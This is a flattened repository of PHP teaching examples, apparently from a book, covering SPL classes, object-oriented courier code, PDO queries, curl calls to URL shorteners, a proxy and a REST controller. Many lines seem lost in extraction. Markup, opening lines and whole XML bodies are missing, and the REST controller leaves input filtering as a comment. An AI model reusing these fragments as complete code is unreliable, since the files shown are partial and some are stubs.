├── .gitignore ├── appendix_01 ├── Url │ ├── Shortener.php │ └── Shortener │ │ ├── Bitly.php │ │ ├── Interface.php │ │ ├── Isgd.php │ │ └── Tinyurl.php ├── package.xml └── packager.php ├── appendix_02 ├── ArrayAccess.php ├── ArrayObject.php ├── Countable.php ├── File-Directory.php ├── PriorityQueue.php ├── SPLFileInfo.php ├── SplFixedArray.php ├── autoload.php └── stack_queue.php ├── chapter_01 ├── Courier.php ├── HeavyParcelException.php ├── MonotypeDelivery.php ├── Parcel.php ├── PigeonPost.php ├── Trackable.php └── simple_class.php ├── chapter_02 ├── PDOException.php ├── PDOStatement.php ├── bind_parameter.php ├── bind_value.php ├── delete.php ├── error_execute.php ├── error_handling.php ├── insert.php ├── prepared_statement.php ├── row_count.php └── transaction.php ├── chapter_03 ├── ServiceFunctions.php ├── array.php ├── calendar_js.php ├── calendar_table.php ├── curl.php ├── flickr.xml ├── flickr_call.php ├── index.php ├── json.php ├── pecl_http.php ├── proxy.php ├── rest │ ├── .htaccess │ ├── eventscontroller.php │ ├── index.php │ └── request.php ├── simple_xml.php ├── streams.php ├── wsdl.xml └── xml_load_string.php ├── chapter_04 ├── Controller.php ├── DependencyInjection.php ├── ErrorModel.php ├── Event.php ├── Factory.php ├── FilterIterator.php ├── Iterator.php ├── IteratorExplanation.php ├── IteratorInterface.php ├── LimitIterator.php ├── LogCallback.php ├── Model.php ├── MyDataRecord.php ├── Observer.php ├── RecursiveIterator.php ├── RegexIterator.php ├── Registry-DB-external.php ├── Registry-DB-internal.php ├── Registry.php ├── RouterAbstract.php ├── RouterRegex.php ├── Singleton.php ├── StackedOuterIterators.php ├── View.php ├── index.php └── showErrorView.php ├── chapter_05 ├── brute_force.php ├── csrf.php ├── ctype.php ├── filter.php ├── passwords.php ├── php_self.php ├── preg.php ├── session_hijacking.php ├── sql_injection.php └── ssl.php ├── chapter_06 ├── Memcache.php ├── MySQL_Session_Handler.php ├── cache.php ├── footer.php └── header.php ├── chapter_07 ├── lib │ ├── Calculator.php │ ├── Foo.php │ └── Totaller.php └── tests │ ├── BaseSeleniumTestCase.php │ ├── CalculatorTest.php │ ├── DaoTest.php │ ├── DatabaseTester.php │ ├── FooSeleniumTestCase.php │ ├── FooTest.php │ ├── TestCase.php │ ├── TotallerBehavioralTest.php │ ├── TotallerTest.php │ └── phpunit.xml └── chapter_08 └── Robot.php /.gitignore: -------------------------------------------------------------------------------- 1 | $ cat .gitignore 2 | .DS_Store 3 | .svn/ 4 | 5 | -------------------------------------------------------------------------------- /appendix_01/Url/Shortener.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/spbooks/PHPPRO1/ae9bb563082a7b49cc015ce661f08b9ed445c170/appendix_01/Url/Shortener.php -------------------------------------------------------------------------------- /appendix_01/Url/Shortener/Bitly.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/spbooks/PHPPRO1/ae9bb563082a7b49cc015ce661f08b9ed445c170/appendix_01/Url/Shortener/Bitly.php -------------------------------------------------------------------------------- /appendix_01/Url/Shortener/Interface.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/spbooks/PHPPRO1/ae9bb563082a7b49cc015ce661f08b9ed445c170/appendix_01/Url/Shortener/Interface.php -------------------------------------------------------------------------------- /appendix_01/Url/Shortener/Isgd.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/spbooks/PHPPRO1/ae9bb563082a7b49cc015ce661f08b9ed445c170/appendix_01/Url/Shortener/Isgd.php -------------------------------------------------------------------------------- /appendix_01/Url/Shortener/Tinyurl.php: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/spbooks/PHPPRO1/ae9bb563082a7b49cc015ce661f08b9ed445c170/appendix_01/Url/Shortener/Tinyurl.php -------------------------------------------------------------------------------- /appendix_01/package.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | Url_Shortener 7 | pear.local 8 | Shorten URLs with a variety of services. 9 | Url_Shortener will let you shorten URLs with Bit.ly, is.gd or Tinyurl 10 | 11 | Davey Shafik 12 | dshafik 13 | me@daveyshafik.com 14 | yes 15 | 16 | 2011-07-31 17 | 18 | 19 | 0.2.0 20 | 0.1.0 21 | 22 | 23 | alpha 24 | alpha 25 | 26 | Creative Commons Attribution-ShareAlike 3.0 Unported License 27 | 28 | Repackaged for release on the pear.local channel. 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 5.3.6 43 | 44 | 45 | 1.4.0 46 | 47 | 48 | pecl_http 49 | pecl.php.net 50 | 1.7.0 51 | 1.7.1 52 | pecl_http 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 0.1.0 61 | 0.1.0 62 | 63 | 64 | alpha 65 | alpha 66 | 67 | 2011-07-31 68 | Creative Commons Attribution-ShareAlike 3.0 Unported License 69 | 70 | This is the first release of the Url_Shortener package 71 | 72 | 73 | 74 | 75 | 0.2.0 76 | 0.1.0 77 | 78 | 79 | alpha 80 | alpha 81 | 82 | 2011-07-31 83 | Creative Commons Attribution-ShareAlike 3.0 Unported License 84 | 85 | Repackaged for release on the pear.local channel. 86 | 87 | 88 | 89 | 90 | -------------------------------------------------------------------------------- /appendix_01/packager.php: -------------------------------------------------------------------------------- 1 | setOptions(array( 11 | 'baseinstalldir' => 'Url', 12 | 'packagedirectory' => dirname(__FILE__) . '/Url', 13 | )); 14 | 15 | // Set the Package Name 16 | $package->setPackage('Url_Shortener'); 17 | 18 | // Set a package summary 19 | $package->setSummary('Shorten URLs with a variety of services.'); 20 | 21 | // Set a lengthier description 22 | $package->setDescription('Url_Shortener will let you shorten URLs with Bit.ly, is.gd or Tinyurl'); 23 | 24 | // We don't have a channel yet, but a valid one is required so just use pear. 25 | $package->setChannel('pear.local'); 26 | 27 | // Set the Package version and stability 28 | $package->setReleaseVersion('0.2.0'); 29 | $package->setReleaseStability('alpha'); 30 | 31 | // Set the API version and stability 32 | $package->setApiVersion('0.1.0'); 33 | $package->setApiStability('alpha'); 34 | 35 | // Add Release Notes 36 | //$package->setNotes('This is the first release of the Url_Shortener package'); 37 | $package->setNotes('Repackaged for release on the pear.local channel.'); 38 | 39 | // Set the package type (This is a PEAR-style PHP package) 40 | $package->setPackageType('php'); 41 | 42 | // Add a release section 43 | $package->addRelease(); 44 | 45 | // Add the pecl_http extension as a dependency 46 | $package->addPackageDepWithChannel('required', 'pecl_http', 'pecl.php.net', '1.7.0', false, '1.7.1', false, 'pecl_http'); 47 | 48 | // Add a maintainer 49 | $package->addMaintainer('lead', 'dshafik', 'Davey Shafik', 'me@daveyshafik.com'); 50 | 51 | // Set the minimum PHP version on which the code will run 52 | $package->setPhpDep('5.3.6'); 53 | 54 | // Set the minimum PEAR install requirement 55 | $package->setPearinstallerDep('1.4.0'); 56 | 57 | // Add a license 58 | $package->setLicense('Creative Commons Attribution-ShareAlike 3.0 Unported License', 'http://creativecommons.org/licenses/by-sa/3.0/'); 59 | 60 | // Generate the File list 61 | $package->generateContents(); 62 | 63 | // Write the XML to file 64 | $package->writePackageFile(); 65 | ?> 66 | -------------------------------------------------------------------------------- /appendix_02/ArrayAccess.php: -------------------------------------------------------------------------------- 1 | {$offset}); 5 | } 6 | 7 | public function offsetGet($offset) { 8 | return $this->{$offset}; 9 | } 10 | 11 | public function offsetSet($offset, $value) { 12 | $this->{$offset} = $value; 13 | } 14 | 15 | public function offsetUnset($offset) { 16 | unset($this->{$offset}); 17 | } 18 | } 19 | 20 | $arrayObj = new MyArray(); 21 | $arrayObj['greeting'] = "Hello World"; 22 | echo $arrayObj['greeting']; 23 | ?> -------------------------------------------------------------------------------- /appendix_02/ArrayObject.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /appendix_02/Countable.php: -------------------------------------------------------------------------------- 1 | data = array('foo', 'bar', 'baz'); 8 | } 9 | } 10 | 11 | $i = new InaccurateCount(); 12 | 13 | echo sizeof($i); 14 | 15 | class AccurateCount implements Countable { 16 | public $data = array(); 17 | 18 | public function __construct() 19 | { 20 | $this->data = array('foo', 'bar', 'baz'); 21 | } 22 | 23 | public function count() { 24 | return sizeof($this->data); 25 | } 26 | } 27 | 28 | $i = new AccurateCount(); 29 | 30 | echo sizeof($i); 31 | -------------------------------------------------------------------------------- /appendix_02/File-Directory.php: -------------------------------------------------------------------------------- 1 | getDepth()); 11 | if ($file->isDir()) { 12 | echo DIRECTORY_SEPARATOR; 13 | } 14 | echo $file->getBasename(); 15 | if ($file->isFile()) { 16 | echo " (" .$file->getSize(). " bytes)"; 17 | } elseif ($file->isLink()) { 18 | echo " (symlink)"; 19 | } 20 | echo PHP_EOL; 21 | } 22 | ?> -------------------------------------------------------------------------------- /appendix_02/PriorityQueue.php: -------------------------------------------------------------------------------- 1 | insert('foo', 1); 4 | $queue->insert('bar', 3); 5 | $queue->insert('baz', 0); 6 | 7 | foreach ($queue as $value) { 8 | echo $value . PHP_EOL; 9 | } 10 | ?> -------------------------------------------------------------------------------- /appendix_02/SPLFileInfo.php: -------------------------------------------------------------------------------- 1 | fgetcsv()) { 9 | // Handle the CSV data array 10 | } 11 | ?> -------------------------------------------------------------------------------- /appendix_02/SplFixedArray.php: -------------------------------------------------------------------------------- 1 | push(1); 4 | $stack->push(2); 5 | $stack->push(3); 6 | 7 | foreach ($stack as $value) { 8 | echo $value . PHP_EOL; 9 | } 10 | 11 | $queue = new SplQueue(); 12 | $queue->push(1); 13 | $queue->push(2); 14 | $queue->push(3); 15 | 16 | foreach ($queue as $value) { 17 | echo $value . PHP_EOL; 18 | } 19 | ?> -------------------------------------------------------------------------------- /chapter_01/Courier.php: -------------------------------------------------------------------------------- 1 | name = $name; 16 | return true; 17 | }*/ 18 | 19 | //Second constructor 20 | public function __construct($name, $home_country) { 21 | $this->name = $name; 22 | $this->home_country = $home_country; 23 | return true; 24 | } 25 | 26 | //Third constructor 27 | /*public function __construct($name, $home_country) { 28 | $this->name = $name; 29 | $this->home_country = $home_country; 30 | $this->logfile = $this->getLogFile(); 31 | return true; 32 | }*/ 33 | 34 | protected function getLogFile() { 35 | // error log location would be in a config file 36 | return fopen('/tmp/error_log.txt', 'a'); 37 | } 38 | 39 | public function log($message) { 40 | if($this->logfile) { 41 | fputs($this->logfile, 'Log message: ' . $message . "\n"); 42 | } 43 | } 44 | 45 | public function __sleep() { 46 | // only store the "safe" properties 47 | return array("name", "home_country"); 48 | } 49 | 50 | public function __wakeup() { 51 | // properties are restored, now add the logfile 52 | $this->logfile = $this->getLogFile(); 53 | return true; 54 | } 55 | 56 | public function __toString() { 57 | return $this->name . ' (' . $this->home_country . ')'; 58 | } 59 | 60 | //Namespacing and static method 61 | //namespace shipping; 62 | public static function getCouriersByCountry($country) { 63 | // get a list of couriers with their home_country = $country 64 | 65 | // create a Courier object for each result 66 | 67 | // return an array of the results 68 | return $courier_list; 69 | } 70 | 71 | public function ship($parcel) { 72 | // sends the parcel to its destination 73 | return true; 74 | } 75 | 76 | /*public function calculateShipping($parcel) { 77 | // look up the rate for the destination, we'll invent one 78 | $rate = 1.78; 79 | 80 | // calculate the cost 81 | $cost = $rate * $parcel->weight; 82 | return $cost; 83 | }*/ 84 | 85 | public function calculateShipping(Parcel $parcel) { 86 | // look up the rate for the destination 87 | $rate = $this->getShippingRateForCountry($parcel->destinationCountry); 88 | // calculate the cost 89 | $cost = $rate * $parcel->weight; 90 | return $cost; 91 | } 92 | 93 | private function getShippingRateForCountry($country) { 94 | // some excellent rate calculating code goes here 95 | // for the example, we'll just think of a number 96 | return 1.2; 97 | } 98 | 99 | //First style of getter and setter methods and protected $name property 100 | /*protected $name; 101 | 102 | function getName() { 103 | return $this->name; 104 | } 105 | 106 | function setName($value) { 107 | $this->name = $value; 108 | return true; 109 | }*/ 110 | 111 | //Magic __get() and __set() methods 112 | protected $data = array(); 113 | 114 | public function __get($property) { 115 | return $this->data[$property]; 116 | } 117 | 118 | public function __set($property, $value) { 119 | $this->data[$property] = $value; 120 | return true; 121 | } 122 | 123 | 124 | public function __call($name, $params) { 125 | if($name == 'sendParcel') { 126 | // legacy system requirement, pass to newer send() method 127 | return $this->send($params[0]); 128 | } else { 129 | error_log('Failed call to ' . $name . ' in Courier class'); 130 | return false; 131 | } 132 | } 133 | } //end of Courier class 134 | 135 | 136 | // Courier class with a Countable interface 137 | /*class Courier implements Countable 138 | { 139 | protected $count = 0; 140 | 141 | public function ship(Parcel $parcel) { 142 | $this->count++; 143 | // ship parcel 144 | return true; 145 | } 146 | 147 | public function count() { 148 | return $this->count; 149 | } 150 | }*/ 151 | ?> -------------------------------------------------------------------------------- /chapter_01/HeavyParcelException.php: -------------------------------------------------------------------------------- 1 | address)) { 8 | throw new Exception('Address not Specified'); 9 | } 10 | 11 | // check the weight 12 | if($parcel->weight > 5) { 13 | throw new HeavyParcelException('Parcel exceeds courier limit'); 14 | } 15 | // otherwise we're cool 16 | return true; 17 | } 18 | } 19 | 20 | ?> -------------------------------------------------------------------------------- /chapter_01/MonotypeDelivery.php: -------------------------------------------------------------------------------- 1 | "in transit")); 24 | } 25 | }*/ 26 | 27 | ?> -------------------------------------------------------------------------------- /chapter_01/Parcel.php: -------------------------------------------------------------------------------- 1 | weight = $weight; 11 | return $this; 12 | } 13 | 14 | public function setCountry($country) { 15 | echo "destination country is: " . $country . "\n"; 16 | $this->destinationCountry = $country; 17 | return $this; 18 | } 19 | } //end of Parcel class 20 | 21 | $myparcel = new Parcel(); 22 | $myparcel->setWeight(5)->setCountry('Peru'); 23 | ?> -------------------------------------------------------------------------------- /chapter_01/PigeonPost.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /chapter_01/Trackable.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /chapter_01/simple_class.php: -------------------------------------------------------------------------------- 1 | name = $name; 9 | return true; 10 | } 11 | 12 | public function ship($parcel) { 13 | // sends the parcel to its destination 14 | return true; 15 | } 16 | } 17 | ?> -------------------------------------------------------------------------------- /chapter_02/PDOException.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /chapter_02/PDOStatement.php: -------------------------------------------------------------------------------- 1 | query('SELECT name, chef FROM recipes'); 6 | 7 | // display results 8 | while($row = $stmt->fetch()) { 9 | echo $row['name'] . ' by ' . $row['chef'] . "\n"; 10 | } 11 | ?> -------------------------------------------------------------------------------- /chapter_02/bind_parameter.php: -------------------------------------------------------------------------------- 1 | prepare($sql); 12 | 13 | // bind the chef value, we only want Lorna's recipes 14 | $stmt->bindValue(':chef', 'Lorna'); 15 | $stmt->bindParam(':category_name', $category); 16 | 17 | // starters 18 | $category = 'Starter'; 19 | $stmt->execute(); 20 | $starters = $stmt->fetchAll(); 21 | 22 | // pudding 23 | $category = 'Pudding'; 24 | $stmt->execute(); 25 | $pudding = $stmt->fetchAll(); 26 | ?> -------------------------------------------------------------------------------- /chapter_02/bind_value.php: -------------------------------------------------------------------------------- 1 | prepare($sql); 10 | 11 | // bind the chef value, we only want Lorna's recipes 12 | $stmt->bindValue(':chef', 'Lorna'); 13 | 14 | // starters 15 | $stmt->bindValue(':category_id', 1); 16 | $stmt->execute(); 17 | $starters = $stmt->fetch(); 18 | 19 | // pudding 20 | $stmt->bindValue(':category_id', 3); 21 | $stmt->execute(); 22 | $pudding = $stmt->fetch(); 23 | ?> -------------------------------------------------------------------------------- /chapter_02/delete.php: -------------------------------------------------------------------------------- 1 | prepare('DELETE FROM categories WHERE name = :name'); 5 | 6 | // delete the record 7 | $stmt->execute(array(':name' => 'Starter')); 8 | echo $stmt->rowCount() . ' row(s) deleted'; 9 | ?> -------------------------------------------------------------------------------- /chapter_02/error_execute.php: -------------------------------------------------------------------------------- 1 | prepare($sql); 10 | 11 | if($stmt) { 12 | // perform query 13 | $result = $stmt->execute(array( 14 | "recipe_id" => 1) 15 | ); 16 | 17 | if($result) { 18 | $recipe = $stmt->fetch(); 19 | print_r($recipe); 20 | } else { 21 | $error = $stmt->errorInfo(); 22 | echo "Query failed with message: " . $error[2]; 23 | } 24 | } 25 | ?> -------------------------------------------------------------------------------- /chapter_02/error_handling.php: -------------------------------------------------------------------------------- 1 | prepare($sql); 14 | 15 | if($stmt) { 16 | // perform query 17 | $stmt->execute(array( 18 | "recipe_id" => 1) 19 | ); 20 | 21 | $recipe = $stmt->fetch(); 22 | } 23 | } catch (PDOException $e) { 24 | echo "A database problem has occurred: " . $e->getMessage(); 25 | } 26 | ?> -------------------------------------------------------------------------------- /chapter_02/insert.php: -------------------------------------------------------------------------------- 1 | prepare($sql); 9 | 10 | // perform query 11 | $stmt->execute(array( 12 | ':name' => 'Weekday Risotto', 13 | ':description' => 'Creamy rice-based dish, boosted by in-season ingredients. Otherwise known as \'raid-the-fridge risotto\'', 14 | ':chef' => 'Lorna') 15 | ); 16 | 17 | echo "New recipe id: " . $db_conn->lastInsertId(); 18 | ?> -------------------------------------------------------------------------------- /chapter_02/prepared_statement.php: -------------------------------------------------------------------------------- 1 | prepare($sql); 10 | 11 | // perform query 12 | $stmt->execute(array( 13 | "recipe_id" => 1) 14 | ); 15 | $recipe = $stmt->fetch(); 16 | ?> -------------------------------------------------------------------------------- /chapter_02/row_count.php: -------------------------------------------------------------------------------- 1 | prepare($sql); 9 | 10 | // perform query 11 | $stmt->execute(array(':id' => 2)); 12 | echo $stmt->rowCount() . ' rows updated'; 13 | ?> -------------------------------------------------------------------------------- /chapter_02/transaction.php: -------------------------------------------------------------------------------- 1 | beginTransaction(); 12 | 13 | $db_conn->exec('UPDATE categories SET id=17 WHERE name = "Pudding"'); 14 | $db_conn->exec('UPDATE recipes SET category_id=17 WHERE category_id=3'); 15 | 16 | // we made it! 17 | $db_conn->commit(); 18 | 19 | } catch (PDOException $e) { 20 | $db_conn->rollBack(); 21 | echo "Something went wrong: " . $e->getMessage(); 22 | } 23 | ?> -------------------------------------------------------------------------------- /chapter_03/ServiceFunctions.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /chapter_03/array.php: -------------------------------------------------------------------------------- 1 | "The Magic Flute", 4 | "time" => 1329636600), 5 | array("title" => "Vivaldi Four Seasons", 6 | "time" => 1329291000), 7 | array("title" => "Mozart's Requiem", 8 | "time" => 1330196400) 9 | ); 10 | 11 | echo json_encode($concerts); 12 | 13 | /* output 14 | [{"title":"The Magic Flute","time":1329636600},{"title": "Vivaldi Four Seasons","time":1329291000},{"title": "Mozart's Requiem","time":1330196400}] 15 | */ 16 | ?> -------------------------------------------------------------------------------- /chapter_03/calendar_js.php: -------------------------------------------------------------------------------- 1 | 4 | -------------------------------------------------------------------------------- /chapter_03/calendar_table.php: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 67 | 68 |
May 2011
SMTWTFS
123 26 | 27 | 4 28 | 567
891011121314
15161718192021
22232425262728
293031 65 | 66 |
-------------------------------------------------------------------------------- /chapter_03/curl.php: -------------------------------------------------------------------------------- 1 | 200 14 | [status_txt] => OK 15 | [data] => stdClass Object 16 | ( 17 | [long_url] => http://sitepoint.com/ 18 | [url] => http://bit.ly/qmcGU2 19 | [hash] => qmcGU2 20 | [global_hash] => 3mWynL 21 | [new_hash] => 0 22 | ) 23 | 24 | ) 25 | */ 26 | ?> -------------------------------------------------------------------------------- /chapter_03/flickr.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | flickr.groups.pools.getphotos 4 | 5 | 6 | 7 | 8 | 9 | api_key 10 | secret-key 11 | 12 | 13 | group_id 14 | 610963@N20 15 | 16 | 17 | per_page 18 | 5 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | -------------------------------------------------------------------------------- /chapter_03/flickr_call.php: -------------------------------------------------------------------------------- 1 | params->param->value->string); 13 | print_r($photosxml); 14 | ?> -------------------------------------------------------------------------------- /chapter_03/index.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /chapter_03/json.php: -------------------------------------------------------------------------------- 1 | Array 12 | ( 13 | [title] => The Magic Flute 14 | [time] => 1329636600 15 | ) 16 | 17 | [1] => Array 18 | ( 19 | [title] => Vivaldi Four Seasons 20 | [time] => 1329291000 21 | ) 22 | 23 | [2] => Array 24 | ( 25 | [title] => Mozart's Requiem 26 | [time] => 1330196400 27 | ) 28 | 29 | ) 30 | */ 31 | ?> -------------------------------------------------------------------------------- /chapter_03/pecl_http.php: -------------------------------------------------------------------------------- 1 | send(); 6 | 7 | $result = $request->getResponseBody(); 8 | print_r(json_decode($result)); 9 | 10 | /* output: 11 | stdClass Object 12 | ( 13 | [status_code] => 200 14 | [status_txt] => OK 15 | [data] => stdClass Object 16 | ( 17 | [long_url] => http://sitepoint.com/ 18 | [url] => http://bit.ly/qmcGU2 19 | [hash] => qmcGU2 20 | [global_hash] => 3mWynL 21 | [new_hash] => 0 22 | ) 23 | 24 | ) 25 | */ 26 | ?> -------------------------------------------------------------------------------- /chapter_03/proxy.php: -------------------------------------------------------------------------------- 1 | array( 5 | "protocol" => "http", 6 | "mimetype" => "application/json", 7 | "args" => array( 8 | "login" => "user", 9 | "apiKey" => "secret", 10 | ) 11 | ) 12 | ); 13 | 14 | // Check if the requested host is allowed, PATH_INFO starts with a / 15 | $requested_host = parse_url("http:/" .$_SERVER['PATH_INFO'],PHP_URL_HOST); 16 | if (!isset($allowed_hosts[$requested_host])) { 17 | // Send a 403 Forbidden HTTP status code and exit 18 | header("Status: 403 Forbidden"); 19 | exit; 20 | } 21 | 22 | // Create the final URL 23 | $url = $allowed_hosts[$requested_host]['protocol'] . ':/' . $_SERVER['PATH_INFO']; 24 | if (!empty($_SERVER['QUERY_STRING'])) { 25 | // Construct the GET args from those passed in and the default 26 | $url .= '?' .http_build_query($_GET + ($allowed_hosts[$requested_host]['args']) ?: array()); 27 | } 28 | 29 | // Instantiate curl 30 | $curl = curl_init($url); 31 | 32 | // Check if request is a POST, and attach the POST data 33 | if ($_SERVER['REQUEST_METHOD'] == "POST") { 34 | $data = http_build_query($_POST); 35 | curl_setopt ($curl, CURLOPT_POST, true); 36 | curl_setopt ($curl, CURLOPT_POSTFIELDS, $data); 37 | } 38 | 39 | // Don't return HTTP headers. Do return the contents of the call 40 | curl_setopt($curl, CURLOPT_HEADER, false); 41 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); 42 | 43 | // Make the call 44 | $response = curl_exec($curl); 45 | 46 | // Relay unsuccessful responses 47 | $status = curl_getinfo($curl, CURLINFO_HTTP_CODE); 48 | if ($status >= "400") { 49 | header("Status: 500 Internal Server Error"); 50 | } 51 | 52 | // Set the Content-Type appropriately 53 | header("Content-Type: " .$allowed_hosts[$requested_host]['mimetype']); 54 | 55 | // Output the response 56 | echo $response; 57 | 58 | // Shutdown curl 59 | curl_close($curl); 60 | ?> 61 | -------------------------------------------------------------------------------- /chapter_03/rest/.htaccess: -------------------------------------------------------------------------------- 1 | 2 | RewriteEngine On 3 | 4 | RewriteCond %{REQUEST_FILENAME} !-f 5 | RewriteCond %{REQUEST_FILENAME} !-d 6 | RewriteRule ^(.*)$ index.php/$1 [L] 7 | 8 | 9 | -------------------------------------------------------------------------------- /chapter_03/rest/eventscontroller.php: -------------------------------------------------------------------------------- 1 | readEvents(); 10 | if(isset($request->url_elements[2]) && is_numeric($request->url_elements[2])) { 11 | return $events[$request->url_elements[2]]; 12 | } else { 13 | return $events; 14 | } 15 | } 16 | 17 | public function POSTAction($request) { 18 | // error checking and filtering input MUST go here 19 | $events = $this->readEvents(); 20 | $event = array(); 21 | $event['title'] = $request->parameters['title']; 22 | $event['date'] = $request->parameters['date']; 23 | $event['capacity'] = $request->parameters['capacity']; 24 | 25 | $events[] = $event; 26 | $this->writeEvents($events); 27 | $id = max(array_keys($events)); 28 | header('HTTP/1.1 201 Created'); 29 | header('Location: /events/'. $id); 30 | return ''; 31 | } 32 | 33 | public function PUTAction($request) { 34 | // error checking and filtering input MUST go here 35 | $events = $this->readEvents(); 36 | $event = array(); 37 | $event['title'] = $request->parameters['title']; 38 | $event['date'] = $request->parameters['date']; 39 | $event['capacity'] = $request->parameters['capacity']; 40 | $id = $request->url_elements[2]; 41 | $events[$id] = $event; 42 | $this->writeEvents($events); 43 | header('HTTP/1.1 204 No Content'); 44 | header('Location: /events/'. $id); 45 | return ''; 46 | } 47 | 48 | public function DELETEAction($request) { 49 | $events = $this->readEvents(); 50 | if(isset($request->url_elements[2]) && is_numeric($request->url_elements[2])) { 51 | unset($events[$request->url_elements[2]]); 52 | $this->writeEvents($events); 53 | header('HTTP/1.1 204 No Content'); 54 | header('Location: /events'); 55 | } 56 | return ''; 57 | } 58 | 59 | protected function readEvents() { 60 | $events = unserialize(file_get_contents($this->events_file)); 61 | if(empty($events)) { 62 | // invent some event data 63 | $events[] = array('title' => 'Summer Concert', 64 | 'date' => date('U', mktime(0,0,0,7,1,2012)), 65 | 'capacity' => '150'); 66 | $events[] = array('title' => 'Valentine Dinner', 67 | 'date' => date('U', mktime(0,0,0,2,14,2012)), 68 | 'capacity' => '48'); 69 | $this->writeEvents($events); 70 | } 71 | return $events; 72 | } 73 | 74 | protected function writeEvents($events) { 75 | file_put_contents($this->events_file, serialize($events)); 76 | return true; 77 | } 78 | } 79 | -------------------------------------------------------------------------------- /chapter_03/rest/index.php: -------------------------------------------------------------------------------- 1 | url_elements = array(); 10 | if(isset($_SERVER['PATH_INFO'])) { 11 | $request->url_elements = explode('/', $_SERVER['PATH_INFO']); 12 | } 13 | 14 | // figure out the verb and grab the incoming data 15 | $request->verb = $_SERVER['REQUEST_METHOD']; 16 | switch($request->verb) { 17 | case 'GET': 18 | $request->parameters = $_GET; 19 | break; 20 | case 'POST': 21 | case 'PUT': 22 | $request->parameters = json_decode(file_get_contents('php://input'), 1); 23 | break; 24 | case 'DELETE': 25 | default: 26 | // we won't set any parameters in these cases 27 | $request->parameters = array(); 28 | } 29 | 30 | // route the request 31 | if($request->url_elements) { 32 | $controller_name = ucfirst($request->url_elements[1]) . 'Controller'; 33 | if(class_exists($controller_name)) { 34 | $controller = new $controller_name(); 35 | $action_name = ucfirst($request->verb) . "Action"; 36 | $response = $controller->$action_name($request); 37 | } else { 38 | header('HTTP/1.0 400 Bad Request'); 39 | $response = "Unknown Request for " . $request->url_elements[1]; 40 | } 41 | } else { 42 | header('HTTP/1.0 400 Bad Request'); 43 | $response = "Unknown Request"; 44 | } 45 | 46 | echo json_encode($response); 47 | -------------------------------------------------------------------------------- /chapter_03/rest/request.php: -------------------------------------------------------------------------------- 1 | '); 4 | 5 | $concert1 = $simplexml->addChild('concert'); 6 | $concert1->addChild("title", "The Magic Flute"); 7 | $concert1->addChild("time", 1329636600); 8 | 9 | $concert2 = $simplexml->addChild('concert'); 10 | $concert2->addChild("title", "Vivaldi Four Seasons"); 11 | $concert2->addChild("time", 1329291000); 12 | 13 | $concert3 = $simplexml->addChild('concert'); 14 | $concert3->addChild("title", "Mozart's Requiem"); 15 | $concert3->addChild("time", 1330196400); 16 | 17 | echo $simplexml->asXML(); 18 | 19 | /* output: 20 | The Magic Flute 21 | Vivaldi Four SeasonsMozart's Requiem 22 | 23 | */ 24 | ?> -------------------------------------------------------------------------------- /chapter_03/streams.php: -------------------------------------------------------------------------------- 1 | 200 11 | [status_txt] => OK 12 | [data] => stdClass Object 13 | ( 14 | [long_url] => http://sitepoint.com/ 15 | [url] => http://bit.ly/qmcGU2 16 | [hash] => qmcGU2 17 | [global_hash] => 3mWynL 18 | [new_hash] => 0 19 | ) 20 | 21 | ) 22 | */ 23 | ?> -------------------------------------------------------------------------------- /chapter_03/wsdl.xml: -------------------------------------------------------------------------------- 1 | 2 | 8 | 10 | 11 | 14 | 15 | 16 | 19 | 22 | 23 | 26 | 27 | 28 | 30 | 32 | 33 | 34 | 35 | 37 | 39 | 40 | 41 | 42 | 45 | 46 | 47 | 48 | -------------------------------------------------------------------------------- /chapter_03/xml_load_string.php: -------------------------------------------------------------------------------- 1 | The Magic FluteVivaldi Four SeasonsMozart\'s Requiem'; 3 | 4 | $concert_list = simplexml_load_string($xml); 5 | print_r($concert_list); 6 | 7 | /* output: 8 | SimpleXMLElement Object 9 | ( 10 | [concert] => Array 11 | ( 12 | [0] => SimpleXMLElement Object 13 | ( 14 | [title] => The Magic Flute 15 | [time] => 1329636600 16 | ) 17 | 18 | [1] => SimpleXMLElement Object 19 | ( 20 | [title] => Vivaldi Four Seasons 21 | [time] => 1329291000 22 | ) 23 | 24 | [2] => SimpleXMLElement Object 25 | ( 26 | [title] => Mozart's Requiem 27 | [time] => 1330196400 28 | ) 29 | 30 | ) 31 | 32 | ) 33 | */ 34 | 35 | // show a table of the concerts 36 | echo "\n"; 37 | foreach($concert_list as $concert) { 38 | echo "\n"; 39 | echo "\n"; 40 | echo "\n"; 41 | 42 | echo "\n"; 43 | } 44 | echo "
" . $concert->title . "" . date('g:i, jS M',(string)$concert->time) . "
